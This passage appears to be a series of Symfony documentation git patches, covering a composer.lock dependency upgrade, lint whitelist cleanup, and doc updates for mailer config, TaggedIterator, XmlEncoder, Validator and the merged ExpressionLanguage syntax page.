-                "url": "https://api.github.com/repos/symfony/http-client-contracts/zipball/1a4f708e4e87f335d1b1be6148060739152f0bd5",
-                "reference": "1a4f708e4e87f335d1b1be6148060739152f0bd5",
+                "url": "https://api.github.com/repos/symfony/http-client-contracts/zipball/c5f587eb445224ddfeb05b5ee703476742d730bf",
+                "reference": "c5f587eb445224ddfeb05b5ee703476742d730bf",
                 "shasum": ""
             },
             "require": {
-                "php": ">=7.2.5"
+                "php": ">=8.1"
             },
             "suggest": {
                 "symfony/http-client-implementation": ""
@@ -946,7 +1050,7 @@
             "type": "library",
             "extra": {
                 "branch-alias": {
-                    "dev-main": "2.5-dev"
+                    "dev-main": "3.3-dev"
                 },
                 "thanks": {
                     "name": "symfony/contracts",
@@ -956,7 +1060,10 @@
             "autoload": {
                 "psr-4": {
                     "Symfony\\Contracts\\HttpClient\\": ""
-                }
+                },
+                "exclude-from-classmap": [
+                    "/Test/"
+                ]
             },
             "notification-url": "https://packagist.org/downloads/",
             "license": [
@@ -983,7 +1090,7 @@
                 "standards"
             ],
             "support": {
-                "source": "https://github.com/symfony/http-client-contracts/tree/v2.5.1"
+                "source": "https://github.com/symfony/http-client-contracts/tree/v3.2.0"
             },
             "funding": [
                 {
@@ -999,20 +1106,20 @@
                     "type": "tidelift"
                 }
             ],
-            "time": "2022-03-13T20:07:29+00:00"
+            "time": "2022-11-25T10:21:52+00:00"
         },
         {
             "name": "symfony/polyfill-ctype",
-            "version": "v1.25.0",
+            "version": "v1.27.0",
             "source": {
                 "type": "git",
                 "url": "https://github.com/symfony/polyfill-ctype.git",
-                "reference": "30885182c981ab175d4d034db0f6f469898070ab"
+                "reference": "5bbc823adecdae860bb64756d639ecfec17b050a"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/symfony/polyfill-ctype/zipball/30885182c981ab175d4d034db0f6f469898070ab",
-                "reference": "30885182c981ab175d4d034db0f6f469898070ab",
+                "url": "https://api.github.com/repos/symfony/polyfill-ctype/zipball/5bbc823adecdae860bb64756d639ecfec17b050a",
+                "reference": "5bbc823adecdae860bb64756d639ecfec17b050a",
                 "shasum": ""
             },
             "require": {
@@ -1027,7 +1134,7 @@
             "type": "library",
             "extra": {
                 "branch-alias": {
-                    "dev-main": "1.23-dev"
+                    "dev-main": "1.27-dev"
                 },
                 "thanks": {
                     "name": "symfony/polyfill",
@@ -1065,7 +1172,7 @@
                 "portable"
             ],
             "support": {
-                "source": "https://github.com/symfony/polyfill-ctype/tree/v1.25.0"
+                "source": "https://github.com/symfony/polyfill-ctype/tree/v1.27.0"
             },
             "funding": [
                 {
@@ -1081,20 +1188,20 @@
                     "type": "tidelift"
                 }
             ],
-            "time": "2021-10-20T20:35:02+00:00"
+            "time": "2022-11-03T14:55:06+00:00"
         },
         {
             "name": "symfony/polyfill-intl-grapheme",
-            "version": "v1.25.0",
+            "version": "v1.27.0",
             "source": {
                 "type": "git",
                 "url": "https://github.com/symfony/polyfill-intl-grapheme.git",
-                "reference": "81b86b50cf841a64252b439e738e97f4a34e2783"
+                "reference": "511a08c03c1960e08a883f4cffcacd219b758354"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/symfony/polyfill-intl-grapheme/zipball/81b86b50cf841a64252b439e738e97f4a34e2783",
-                "reference": "81b86b50cf841a64252b439e738e97f4a34e2783",
+                "url": "https://api.github.com/repos/symfony/polyfill-intl-grapheme/zipball/511a08c03c1960e08a883f4cffcacd219b758354",
+                "reference": "511a08c03c1960e08a883f4cffcacd219b758354",
                 "shasum": ""
             },
             "require": {
@@ -1106,7 +1213,7 @@
             "type": "library",
             "extra": {
                 "branch-alias": {
-                    "dev-main": "1.23-dev"
+                    "dev-main": "1.27-dev"
                 },
                 "thanks": {
                     "name": "symfony/polyfill",
@@ -1146,7 +1253,7 @@
                 "shim"
             ],
             "support": {
-                "source": "https://github.com/symfony/polyfill-intl-grapheme/tree/v1.25.0"
+                "source": "https://github.com/symfony/polyfill-intl-grapheme/tree/v1.27.0"
             },
             "funding": [
                 {
@@ -1162,20 +1269,20 @@
                     "type": "tidelift"
                 }
             ],
-            "time": "2021-11-23T21:10:46+00:00"
+            "time": "2022-11-03T14:55:06+00:00"
         },
         {
             "name": "symfony/polyfill-intl-normalizer",
-            "version": "v1.25.0",
+            "version": "v1.27.0",
             "source": {
                 "type": "git",
                 "url": "https://github.com/symfony/polyfill-intl-normalizer.git",
-                "reference": "8590a5f561694770bdcd3f9b5c69dde6945028e8"
+                "reference": "19bd1e4fcd5b91116f14d8533c57831ed00571b6"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/symfony/polyfill-intl-normalizer/zipball/8590a5f561694770bdcd3f9b5c69dde6945028e8",
-                "reference": "8590a5f561694770bdcd3f9b5c69dde6945028e8",
+                "url": "https://api.github.com/repos/symfony/polyfill-intl-normalizer/zipball/19bd1e4fcd5b91116f14d8533c57831ed00571b6",
+                "reference": "19bd1e4fcd5b91116f14d8533c57831ed00571b6",
                 "shasum": ""
             },
             "require": {
@@ -1187,7 +1294,7 @@
             "type": "library",
             "extra": {
                 "branch-alias": {
-                    "dev-main": "1.23-dev"
+                    "dev-main": "1.27-dev"
                 },
                 "thanks": {
                     "name": "symfony/polyfill",
@@ -1230,7 +1337,7 @@
                 "shim"
             ],
             "support": {
-                "source": "https://github.com/symfony/polyfill-intl-normalizer/tree/v1.25.0"
+                "source": "https://github.com/symfony/polyfill-intl-normalizer/tree/v1.27.0"
             },
             "funding": [
                 {
@@ -1246,20 +1353,20 @@
                     "type": "tidelift"
                 }
             ],
-            "time": "2021-02-19T12:13:01+00:00"
+            "time": "2022-11-03T14:55:06+00:00"
         },
         {
             "name": "symfony/polyfill-mbstring",
-            "version": "v1.25.0",
+            "version": "v1.27.0",
             "source": {
                 "type": "git",
                 "url": "https://github.com/symfony/polyfill-mbstring.git",
-                "reference": "0abb51d2f102e00a4eefcf46ba7fec406d245825"
+                "reference": "8ad114f6b39e2c98a8b0e3bd907732c207c2b534"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/symfony/polyfill-mbstring/zipball/0abb51d2f102e00a4eefcf46ba7fec406d245825",
-                "reference": "0abb51d2f102e00a4eefcf46ba7fec406d245825",
+                "url": "https://api.github.com/repos/symfony/polyfill-mbstring/zipball/8ad114f6b39e2c98a8b0e3bd907732c207c2b534",
+                "reference": "8ad114f6b39e2c98a8b0e3bd907732c207c2b534",
                 "shasum": ""
             },
             "require": {
@@ -1274,7 +1381,7 @@
             "type": "library",
             "extra": {
                 "branch-alias": {
-                    "dev-main": "1.23-dev"
+                    "dev-main": "1.27-dev"
                 },
                 "thanks": {
                     "name": "symfony/polyfill",
@@ -1313,7 +1420,7 @@
                 "shim"
             ],
             "support": {
-                "source": "https://github.com/symfony/polyfill-mbstring/tree/v1.25.0"
+                "source": "https://github.com/symfony/polyfill-mbstring/tree/v1.27.0"
             },
             "funding": [
                 {
@@ -1329,187 +1436,24 @@
                     "type": "tidelift"
                 }
             ],
-            "time": "2021-11-30T18:21:41+00:00"
-        },
-        {
-            "name": "symfony/polyfill-php73",
-            "version": "v1.25.0",
-            "source": {
-                "type": "git",
-                "url": "https://github.com/symfony/polyfill-php73.git",
-                "reference": "cc5db0e22b3cb4111010e48785a97f670b350ca5"
-            },
-            "dist": {
-                "type": "zip",
-                "url": "https://api.github.com/repos/symfony/polyfill-php73/zipball/cc5db0e22b3cb4111010e48785a97f670b350ca5",
-                "reference": "cc5db0e22b3cb4111010e48785a97f670b350ca5",
-                "shasum": ""
-            },
-            "require": {
-                "php": ">=7.1"
-            },
-            "type": "library",
-            "extra": {
-                "branch-alias": {
-                    "dev-main": "1.23-dev"
-                },
-                "thanks": {
-                    "name": "symfony/polyfill",
-                    "url": "https://github.com/symfony/polyfill"
-                }
-            },
-            "autoload": {
-                "files": [
-                    "bootstrap.php"
-                ],
-                "psr-4": {
-                    "Symfony\\Polyfill\\Php73\\": ""
-                },
-                "classmap": [
-                    "Resources/stubs"
-                ]
-            },
-            "notification-url": "https://packagist.org/downloads/",
-            "license": [
-                "MIT"
-            ],
-            "authors": [
-                {
-                    "name": "Nicolas Grekas",
-                    "email": "p@tchwork.com"
-                },
-                {
-                    "name": "Symfony Community",
-                    "homepage": "https://symfony.com/contributors"
-                }
-            ],
-            "description": "Symfony polyfill backporting some PHP 7.3+ features to lower PHP versions",
-            "homepage": "https://symfony.com",
-            "keywords": [
-                "compatibility",
-                "polyfill",
-                "portable",
-                "shim"
-            ],
-            "support": {
-                "source": "https://github.com/symfony/polyfill-php73/tree/v1.25.0"
-            },
-            "funding": [
-                {
-                    "url": "https://symfony.com/sponsor",
-                    "type": "custom"
-                },
-                {
-                    "url": "https://github.com/fabpot",
-                    "type": "github"
-                },
-                {
-                    "url": "https://tidelift.com/funding/github/packagist/symfony/symfony",
-                    "type": "tidelift"
-                }
-            ],
-            "time": "2021-06-05T21:20:04+00:00"
-        },
-        {
-            "name": "symfony/polyfill-php80",
-            "version": "v1.25.0",
-            "source": {
-                "type": "git",
-                "url": "https://github.com/symfony/polyfill-php80.git",
-                "reference": "4407588e0d3f1f52efb65fbe92babe41f37fe50c"
-            },
-            "dist": {
-                "type": "zip",
-                "url": "https://api.github.com/repos/symfony/polyfill-php80/zipball/4407588e0d3f1f52efb65fbe92babe41f37fe50c",
-                "reference": "4407588e0d3f1f52efb65fbe92babe41f37fe50c",
-                "shasum": ""
-            },
-            "require": {
-                "php": ">=7.1"
-            },
-            "type": "library",
-            "extra": {
-                "branch-alias": {
-                    "dev-main": "1.23-dev"
-                },
-                "thanks": {
-                    "name": "symfony/polyfill",
-                    "url": "https://github.com/symfony/polyfill"
-                }
-            },
-            "autoload": {
-                "files": [
-                    "bootstrap.php"
-                ],
-                "psr-4": {
-                    "Symfony\\Polyfill\\Php80\\": ""
-                },
-                "classmap": [
-                    "Resources/stubs"
-                ]
-            },
-            "notification-url": "https://packagist.org/downloads/",
-            "license": [
-                "MIT"
-            ],
-            "authors": [
-                {
-                    "name": "Ion Bazan",
-                    "email": "ion.bazan@gmail.com"
-                },
-                {
-                    "name": "Nicolas Grekas",
-                    "email": "p@tchwork.com"
-                },
-                {
-                    "name": "Symfony Community",
-                    "homepage": "https://symfony.com/contributors"
-                }
-            ],
-            "description": "Symfony polyfill backporting some PHP 8.0+ features to lower PHP versions",
-            "homepage": "https://symfony.com",
-            "keywords": [
-                "compatibility",
-                "polyfill",
-                "portable",
-                "shim"
-            ],
-            "support": {
-                "source": "https://github.com/symfony/polyfill-php80/tree/v1.25.0"
-            },
-            "funding": [
-                {
-                    "url": "https://symfony.com/sponsor",
-                    "type": "custom"
-                },
-                {
-                    "url": "https://github.com/fabpot",
-                    "type": "github"
-                },
-                {
-                    "url": "https://tidelift.com/funding/github/packagist/symfony/symfony",
-                    "type": "tidelift"
-                }
-            ],
-            "time": "2022-03-04T08:16:47+00:00"
+            "time": "2022-11-03T14:55:06+00:00"
         },
         {
             "name": "symfony/process",
-            "version": "v5.4.8",
+            "version": "v6.2.0",
             "source": {
                 "type": "git",
                 "url": "https://github.com/symfony/process.git",
-                "reference": "597f3fff8e3e91836bb0bd38f5718b56ddbde2f3"
+                "reference": "ba6e55359f8f755fe996c58a81e00eaa67a35877"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/symfony/process/zipball/597f3fff8e3e91836bb0bd38f5718b56ddbde2f3",
-                "reference": "597f3fff8e3e91836bb0bd38f5718b56ddbde2f3",
+                "url": "https://api.github.com/repos/symfony/process/zipball/ba6e55359f8f755fe996c58a81e00eaa67a35877",
+                "reference": "ba6e55359f8f755fe996c58a81e00eaa67a35877",
                 "shasum": ""
             },
             "require": {
-                "php": ">=7.2.5",
-                "symfony/polyfill-php80": "^1.16"
+                "php": ">=8.1"
             },
             "type": "library",
             "autoload": {
@@ -1537,7 +1481,7 @@
             "description": "Executes commands in sub-processes",
             "homepage": "https://symfony.com",
             "support": {
-                "source": "https://github.com/symfony/process/tree/v5.4.8"
+                "source": "https://github.com/symfony/process/tree/v6.2.0"
             },
             "funding": [
                 {
@@ -1553,26 +1497,25 @@
                     "type": "tidelift"
                 }
             ],
-            "time": "2022-04-08T05:07:18+00:00"
+            "time": "2022-11-02T09:08:04+00:00"
         },
         {
             "name": "symfony/service-contracts",
-            "version": "v2.5.1",
+            "version": "v3.2.0",
             "source": {
                 "type": "git",
                 "url": "https://github.com/symfony/service-contracts.git",
-                "reference": "24d9dc654b83e91aa59f9d167b131bc3b5bea24c"
+                "reference": "aac98028c69df04ee77eb69b96b86ee51fbf4b75"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/symfony/service-contracts/zipball/24d9dc654b83e91aa59f9d167b131bc3b5bea24c",
-                "reference": "24d9dc654b83e91aa59f9d167b131bc3b5bea24c",
+                "url": "https://api.github.com/repos/symfony/service-contracts/zipball/aac98028c69df04ee77eb69b96b86ee51fbf4b75",
+                "reference": "aac98028c69df04ee77eb69b96b86ee51fbf4b75",
                 "shasum": ""
             },
             "require": {
-                "php": ">=7.2.5",
-                "psr/container": "^1.1",
-                "symfony/deprecation-contracts": "^2.1|^3"
+                "php": ">=8.1",
+                "psr/container": "^2.0"
             },
             "conflict": {
                 "ext-psr": "<1.1|>=2"
@@ -1583,7 +1526,7 @@
             "type": "library",
             "extra": {
                 "branch-alias": {
-                    "dev-main": "2.5-dev"
+                    "dev-main": "3.3-dev"
                 },
                 "thanks": {
                     "name": "symfony/contracts",
@@ -1593,7 +1536,10 @@
             "autoload": {
                 "psr-4": {
                     "Symfony\\Contracts\\Service\\": ""
-                }
+                },
+                "exclude-from-classmap": [
+                    "/Test/"
+                ]
             },
             "notification-url": "https://packagist.org/downloads/",
             "license": [
@@ -1620,7 +1566,7 @@
                 "standards"
             ],
             "support": {
-                "source": "https://github.com/symfony/service-contracts/tree/v2.5.1"
+                "source": "https://github.com/symfony/service-contracts/tree/v3.2.0"
             },
             "funding": [
                 {
@@ -1636,38 +1582,38 @@
                     "type": "tidelift"
                 }
             ],
-            "time": "2022-03-13T20:07:29+00:00"
+            "time": "2022-11-25T10:21:52+00:00"
         },
         {
             "name": "symfony/string",
-            "version": "v5.4.8",
+            "version": "v6.2.2",
             "source": {
                 "type": "git",
                 "url": "https://github.com/symfony/string.git",
-                "reference": "3c061a76bff6d6ea427d85e12ad1bb8ed8cd43e8"
+                "reference": "863219fd713fa41cbcd285a79723f94672faff4d"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/symfony/string/zipball/3c061a76bff6d6ea427d85e12ad1bb8ed8cd43e8",
-                "reference": "3c061a76bff6d6ea427d85e12ad1bb8ed8cd43e8",
+                "url": "https://api.github.com/repos/symfony/string/zipball/863219fd713fa41cbcd285a79723f94672faff4d",
+                "reference": "863219fd713fa41cbcd285a79723f94672faff4d",
                 "shasum": ""
             },
             "require": {
-                "php": ">=7.2.5",
+                "php": ">=8.1",
                 "symfony/polyfill-ctype": "~1.8",
                 "symfony/polyfill-intl-grapheme": "~1.0",
                 "symfony/polyfill-intl-normalizer": "~1.0",
-                "symfony/polyfill-mbstring": "~1.0",
-                "symfony/polyfill-php80": "~1.15"
+                "symfony/polyfill-mbstring": "~1.0"
             },
             "conflict": {
-                "symfony/translation-contracts": ">=3.0"
+                "symfony/translation-contracts": "<2.0"
             },
             "require-dev": {
-                "symfony/error-handler": "^4.4|^5.0|^6.0",
-                "symfony/http-client": "^4.4|^5.0|^6.0",
-                "symfony/translation-contracts": "^1.1|^2",
-                "symfony/var-exporter": "^4.4|^5.0|^6.0"
+                "symfony/error-handler": "^5.4|^6.0",
+                "symfony/http-client": "^5.4|^6.0",
+                "symfony/intl": "^6.2",
+                "symfony/translation-contracts": "^2.0|^3.0",
+                "symfony/var-exporter": "^5.4|^6.0"
             },
             "type": "library",
             "autoload": {
@@ -1706,7 +1652,7 @@
                 "utf8"
             ],
             "support": {
-                "source": "https://github.com/symfony/string/tree/v5.4.8"
+                "source": "https://github.com/symfony/string/tree/v6.2.2"
             },
             "funding": [
                 {
@@ -1722,20 +1668,20 @@
                     "type": "tidelift"
                 }
             ],
-            "time": "2022-04-19T10:40:37+00:00"
+            "time": "2022-12-14T16:11:27+00:00"
         },
         {
             "name": "symfony/translation-contracts",
-            "version": "v2.5.1",
+            "version": "v2.5.2",
             "source": {
                 "type": "git",
                 "url": "https://github.com/symfony/translation-contracts.git",
-                "reference": "1211df0afa701e45a04253110e959d4af4ef0f07"
+                "reference": "136b19dd05cdf0709db6537d058bcab6dd6e2dbe"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/symfony/translation-contracts/zipball/1211df0afa701e45a04253110e959d4af4ef0f07",
-                "reference": "1211df0afa701e45a04253110e959d4af4ef0f07",
+                "url": "https://api.github.com/repos/symfony/translation-contracts/zipball/136b19dd05cdf0709db6537d058bcab6dd6e2dbe",
+                "reference": "136b19dd05cdf0709db6537d058bcab6dd6e2dbe",
                 "shasum": ""
             },
             "require": {
@@ -1784,7 +1730,7 @@
                 "standards"
             ],
             "support": {
-                "source": "https://github.com/symfony/translation-contracts/tree/v2.5.1"
+                "source": "https://github.com/symfony/translation-contracts/tree/v2.5.2"
             },
             "funding": [
                 {
@@ -1800,20 +1746,20 @@
                     "type": "tidelift"
                 }
             ],
-            "time": "2022-01-02T09:53:40+00:00"
+            "time": "2022-06-27T16:58:25+00:00"
         },
         {
             "name": "twig/twig",
-            "version": "v3.3.10",
+            "version": "v3.5.0",
             "source": {
                 "type": "git",
                 "url": "https://github.com/twigphp/Twig.git",
-                "reference": "8442df056c51b706793adf80a9fd363406dd3674"
+                "reference": "3ffcf4b7d890770466da3b2666f82ac054e7ec72"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/twigphp/Twig/zipball/8442df056c51b706793adf80a9fd363406dd3674",
-                "reference": "8442df056c51b706793adf80a9fd363406dd3674",
+                "url": "https://api.github.com/repos/twigphp/Twig/zipball/3ffcf4b7d890770466da3b2666f82ac054e7ec72",
+                "reference": "3ffcf4b7d890770466da3b2666f82ac054e7ec72",
                 "shasum": ""
             },
             "require": {
@@ -1828,7 +1774,7 @@
             "type": "library",
             "extra": {
                 "branch-alias": {
-                    "dev-master": "3.3-dev"
+                    "dev-master": "3.5-dev"
                 }
             },
             "autoload": {
@@ -1864,7 +1810,7 @@
             ],
             "support": {
                 "issues": "https://github.com/twigphp/Twig/issues",
-                "source": "https://github.com/twigphp/Twig/tree/v3.3.10"
+                "source": "https://github.com/twigphp/Twig/tree/v3.5.0"
             },
             "funding": [
                 {
@@ -1876,7 +1822,7 @@
                     "type": "tidelift"
                 }
             ],
-            "time": "2022-04-06T06:47:41+00:00"
+            "time": "2022-12-27T12:28:18+00:00"
         }
     ],
     "packages-dev": [],
@@ -1886,11 +1832,11 @@
     "prefer-stable": true,
     "prefer-lowest": false,
     "platform": {
-        "php": ">=7.4"
+        "php": ">=8.1"
     },
     "platform-dev": [],
     "platform-overrides": {
-        "php": "7.4.14"
+        "php": "8.1.0"
     },
-    "plugin-api-version": "2.2.0"
+    "plugin-api-version": "2.3.0"
 }

From 28c5ce432f4cae676be17eaf3dfe2ed7bc748875 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Wed, 11 Jan 2023 09:13:27 +0100
Subject: [PATCH 4094/7107] Remove obsolete whitelist entries

---
 .doctor-rst.yaml | 5 -----
 1 file changed, 5 deletions(-)

diff --git a/.doctor-rst.yaml b/.doctor-rst.yaml
index 2833840d86f..1afa4342584 100644
--- a/.doctor-rst.yaml
+++ b/.doctor-rst.yaml
@@ -70,7 +70,6 @@ whitelist:
         - '/FOSUserBundle(.*)\.yml/'
         - '/``.yml``/'
         - '/(.*)\.orm\.yml/' # currently DoctrineBundle only supports .yml
-        - '/rst-class/'
         - /docker-compose\.yml/
     lines:
         - 'in config files, so the old ``app/config/config_dev.yml`` goes to'
@@ -78,11 +77,9 @@ whitelist:
         - 'code in production without a proxy, it becomes trivially easy to abuse your'
         - '.. _`EasyDeployBundle`: https://github.com/EasyCorp/easy-deploy-bundle'
         - 'The bin/console Command'
-        - '# username is your full Gmail or Google Apps email address'
         - '.. _`LDAP injection`: http://projects.webappsec.org/w/page/13246947/LDAP%20Injection'
         - '.. versionadded:: 1.9.0' # Encore
         - '.. versionadded:: 0.28.4' # Encore
-        - '.. versionadded:: 2.4.0' # SwiftMailer
         - '.. versionadded:: 1.11' # Messenger (Middleware / DoctrineBundle)
         - '.. versionadded:: 1.18' # Flex in setup/upgrade_minor.rst
         - '.. versionadded:: 1.0.0' # Encore
@@ -92,8 +89,6 @@ whitelist:
         - '123,' # assertion for var_dumper - components/var_dumper.rst
         - '"foo",' # assertion for var_dumper - components/var_dumper.rst
         - '$var .= "Because of this `\xE9` octet (\\xE9),\n";'
-        - "`Deploying Symfony 4 Apps on Heroku`_."
-        - ".. _`Deploying Symfony 4 Apps on Heroku`: https://devcenter.heroku.com/articles/deploying-symfony4"
         - "//                  224, 165, 141, 224, 164, 164, 224, 165, 135])"
         - '.. versionadded:: 0.2' # MercureBundle
         - 'provides a ``loginUser()`` method to simulate logging in in your functional'

From dd613a884ba50123cfd0ebf84b9df30fa5b99523 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Tue, 10 Jan 2023 21:02:11 +0100
Subject: [PATCH 4095/7107] [DependencyInjection] Exclude referencing service
 (self) in `TaggedIterator`

---
 service_container/tags.rst | 10 ++++++++++
 1 file changed, 10 insertions(+)

diff --git a/service_container/tags.rst b/service_container/tags.rst
index 24bb4784ce0..24fe85d4358 100644
--- a/service_container/tags.rst
+++ b/service_container/tags.rst
@@ -688,10 +688,20 @@ iterator, add the ``exclude`` option:
             ;
         };
 
+.. note::
+
+    In the case the referencing service is itself tagged with the tag being used in the tagged
+    iterator, it is automatically excluded from the injected iterable.
+
 .. versionadded:: 6.1
 
     The ``exclude`` option was introduced in Symfony 6.1.
 
+.. versionadded:: 6.3
+
+    The automatic exclusion of the referencing service in the injected iterable was
+    introduced in  Symfony 6.3.
+
 .. seealso::
 
     See also :doc:`tagged locator services </service_container/service_subscribers_locators>`

From 52de160dea91f5cc2b444182a118a13386b522c9 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Wed, 11 Jan 2023 09:30:21 +0100
Subject: [PATCH 4096/7107] Minor

---
 service_container/tags.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/service_container/tags.rst b/service_container/tags.rst
index 01f6df97bd2..d113aaab3fc 100644
--- a/service_container/tags.rst
+++ b/service_container/tags.rst
@@ -719,7 +719,7 @@ iterator, add the ``exclude`` option:
 .. versionadded:: 6.3
 
     The automatic exclusion of the referencing service in the injected iterable was
-    introduced in  Symfony 6.3.
+    introduced in Symfony 6.3.
 
 .. seealso::
 

From 7a307dc2d2786ae4b8c720cbe019ebf40eabe495 Mon Sep 17 00:00:00 2001
From: Alexander Schranz <alexander@sulu.io>
Date: Wed, 11 Jan 2023 15:50:43 +0100
Subject: [PATCH 4097/7107] Use when@dev insteadof dev/mailer.yaml

---
 mailer.rst | 22 ++++++++++++----------
 1 file changed, 12 insertions(+), 10 deletions(-)

diff --git a/mailer.rst b/mailer.rst
index 0cf1dc2a34c..b1850ce55c5 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -565,7 +565,7 @@ and headers.
 
     .. code-block:: yaml
 
-        # config/packages/dev/mailer.yaml
+        # config/packages/mailer.yaml
         framework:
             mailer:
                 envelope:
@@ -1442,10 +1442,11 @@ the mailer configuration file (e.g. in the ``dev`` or ``test`` environments):
 
     .. code-block:: yaml
 
-        # config/packages/dev/mailer.yaml
-        framework:
-            mailer:
-                dsn: 'null://null'
+        # config/packages/mailer.yaml
+        when@dev:
+            framework:
+                mailer:
+                    dsn: 'null://null'
 
     .. code-block:: xml
 
@@ -1490,11 +1491,12 @@ a specific address, instead of the *real* address:
 
     .. code-block:: yaml
 
-        # config/packages/dev/mailer.yaml
-        framework:
-            mailer:
-                envelope:
-                    recipients: ['youremail@example.com']
+        # config/packages/mailer.yaml
+        when@dev:
+            framework:
+                mailer:
+                    envelope:
+                        recipients: ['youremail@example.com']
 
     .. code-block:: xml
 

From 13f9766dd87758abad37a376faab84d35555b66f Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Wed, 11 Jan 2023 18:26:40 +0100
Subject: [PATCH 4098/7107] [Serializer] Fix default XmlVersion used by
 XmlEncoder

---
 components/serializer.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/serializer.rst b/components/serializer.rst
index adeb1328c2b..347d04dd72f 100644
--- a/components/serializer.rst
+++ b/components/serializer.rst
@@ -1181,7 +1181,7 @@ Option                          Description
 ==============================  =================================================  ==========================
 ``xml_format_output``           If set to true, formats the generated XML with     ``false``
                                 line breaks and indentation
-``xml_version``                 Sets the XML version attribute                     ``1.1``
+``xml_version``                 Sets the XML version attribute                     ``1.0``
 ``xml_encoding``                Sets the XML encoding attribute                    ``utf-8``
 ``xml_standalone``              Adds standalone attribute in the generated XML     ``true``
 ``xml_type_cast_attributes``    This provides the ability to forget the attribute  ``true``

From 549d256f6c26b963ca13fa9070f166b37c3f93ea Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Wed, 11 Jan 2023 18:38:20 +0100
Subject: [PATCH 4099/7107] [Validator] Add `getConstraint()` method to
 `ConstraintViolationInterface`

---
 validation.rst | 8 +++++++-
 1 file changed, 7 insertions(+), 1 deletion(-)

diff --git a/validation.rst b/validation.rst
index 5b9fbcb9ce8..6a4f5da69a1 100644
--- a/validation.rst
+++ b/validation.rst
@@ -212,7 +212,13 @@ Inside the template, you can output the list of errors exactly as needed:
 .. note::
 
     Each validation error (called a "constraint violation"), is represented by
-    a :class:`Symfony\\Component\\Validator\\ConstraintViolation` object.
+    a :class:`Symfony\\Component\\Validator\\ConstraintViolation` object. This
+    object allows you, among other things, to get the constraint that caused this
+    violation thanks to the ``ConstraintViolation::getConstraint()`` method.
+
+.. versionadded:: 6.3
+
+    The ``ConstraintViolation::getConstraint()`` method was introduced in Symfony 6.3.
 
 .. index::
    single: Validation; Callables

From 3ecb2820a059a501ccba7f26849fa80990341cfb Mon Sep 17 00:00:00 2001
From: Fabien Potencier <fabien@potencier.org>
Date: Wed, 11 Jan 2023 20:40:28 +0100
Subject: [PATCH 4100/7107] [ExpressionLanguage] Merge docs about
 ExpresssionLanguage

---
 _build/redirection_map                       |   2 +
 components/expression_language.rst           | 578 ++++++++++++++++++-
 components/expression_language/ast.rst       |  49 --
 components/expression_language/caching.rst   |  70 ---
 components/expression_language/extending.rst | 136 -----
 components/expression_language/syntax.rst    | 320 ----------
 reference/constraints/Expression.rst         |   4 +-
 routing.rst                                  |   6 +-
 security/expressions.rst                     |   2 +-
 service_container/expression_language.rst    |   2 +-
 10 files changed, 571 insertions(+), 598 deletions(-)
 delete mode 100644 components/expression_language/ast.rst
 delete mode 100644 components/expression_language/caching.rst
 delete mode 100644 components/expression_language/extending.rst
 delete mode 100644 components/expression_language/syntax.rst

diff --git a/_build/redirection_map b/_build/redirection_map
index 064f9c8261a..764f690c213 100644
--- a/_build/redirection_map
+++ b/_build/redirection_map
@@ -538,3 +538,5 @@
 /components/security /security
 /components/var_dumper/advanced /components/var_dumper#advanced-usage
 /components/yaml/yaml_format /components/yaml#yaml-format
+/components/expression_language/syntax /components/expression_language#expression-language-syntax
+/components/expression_language/extending /components/expression_language#expression-language-extending
diff --git a/components/expression_language.rst b/components/expression_language.rst
index 988bda75884..be84457995f 100644
--- a/components/expression_language.rst
+++ b/components/expression_language.rst
@@ -73,11 +73,317 @@ The main class of the component is
 
     var_dump($expressionLanguage->compile('1 + 2')); // displays (1 + 2)
 
+.. _expression-language-syntax:
+
+.. index::
+    single: Syntax; ExpressionLanguage
+
 Expression Syntax
 -----------------
 
-See :doc:`/components/expression_language/syntax` to learn the syntax of the
-ExpressionLanguage component.
+The ExpressionLanguage component uses a specific syntax which is based on the
+expression syntax of Twig. In this document, you can find all supported
+syntaxes.
+
+Supported Literals
+~~~~~~~~~~~~~~~~~~
+
+The component supports:
+
+* **strings** - single and double quotes (e.g. ``'hello'``)
+* **numbers** - e.g. ``103``
+* **arrays** - using JSON-like notation (e.g. ``[1, 2]``)
+* **hashes** - using JSON-like notation (e.g. ``{ foo: 'bar' }``)
+* **booleans** - ``true`` and ``false``
+* **null** - ``null``
+* **exponential** - also known as scientific (e.g. ``1.99E+3`` or ``1e-2``)
+
+.. caution::
+
+    A backslash (``\``) must be escaped by 4 backslashes (``\\\\``) in a string
+    and 8 backslashes (``\\\\\\\\``) in a regex::
+
+        echo $expressionLanguage->evaluate('"\\\\"'); // prints \
+        $expressionLanguage->evaluate('"a\\\\b" matches "/^a\\\\\\\\b$/"'); // returns true
+
+    Control characters (e.g. ``\n``) in expressions are replaced with
+    whitespace. To avoid this, escape the sequence with a single backslash
+    (e.g.  ``\\n``).
+
+.. _component-expression-objects:
+
+Working with Objects
+~~~~~~~~~~~~~~~~~~~~
+
+When passing objects into an expression, you can use different syntaxes to
+access properties and call methods on the object.
+
+Accessing Public Properties
+...........................
+
+Public properties on objects can be accessed by using the ``.`` syntax, similar
+to JavaScript::
+
+    class Apple
+    {
+        public $variety;
+    }
+
+    $apple = new Apple();
+    $apple->variety = 'Honeycrisp';
+
+    var_dump($expressionLanguage->evaluate(
+        'fruit.variety',
+        [
+            'fruit' => $apple,
+        ]
+    ));
+
+This will print out ``Honeycrisp``.
+
